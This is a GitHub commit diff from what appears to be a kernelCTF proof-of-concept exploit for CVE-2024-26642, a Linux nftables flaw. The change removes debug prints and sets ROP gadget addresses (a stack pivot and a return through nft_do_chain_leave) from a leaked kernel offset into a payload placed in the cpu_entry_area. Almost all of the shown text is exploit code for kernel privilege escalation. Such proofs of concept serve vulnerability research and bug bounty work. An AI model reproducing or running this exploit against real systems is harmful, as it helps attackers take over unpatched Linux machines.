File tree 2 files changed +3
-9
lines changed
pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55
2 files changed +3
-9
lines changed Original file line number Diff line number Diff line change @@ -309,15 +309,9 @@ static void setup_cpu_entry_area(int64_t kernel_off) {
309
309
}
310
310
311
311
struct cpu_entry_area_payload payload = {};
312
- printf ("%llx\n" , push_rdi_jmp_rsi_0xf );
313
- printf ("%llx\n" , kernel_off + POP_RSP_JMP_RSI_0XF );
314
- printf ("%llx\n" , pop_rsp_jmp_rsi_0xf );
315
- printf ("%llx\n" , kernel_off + POP_RSP_JMP_RSI_0XF );
316
- printf ("%llx\n" , nft_do_chain_leave );
317
- printf ("%llx\n" , kernel_off + NFT_DO_CHAIN_LEAVE );
318
- payload .nft_expr_eval = push_rdi_jmp_rsi_0xf ;//kernel_off + POP_RSP_JMP_RSI_0XF;
319
- payload .pop_rsp_jmp_rsi_0xf = pop_rsp_jmp_rsi_0xf ;//kernel_off + POP_RSP_JMP_RSI_0XF;
320
- payload .nft_do_chain_leave = nft_do_chain_leave ;//kernel_off + NFT_DO_CHAIN_LEAVE;
312
+ payload .nft_expr_eval = kernel_off + PUSH_RDI_JMP_RSI_0XF ;
313
+ payload .pop_rsp_jmp_rsi_0xf = kernel_off + POP_RSP_JMP_RSI_0XF ;
314
+ payload .nft_do_chain_leave = kernel_off + NFT_DO_CHAIN_LEAVE ;
321
315
322
316
PANIC_IF (_pin_to_cpu (HELPER_CPU ) < 0 );
323
317
PANIC_IF (signal (SIGFPE , sig_handler ) == SIG_ERR );
You can’t perform that action at this time.
0 commit comments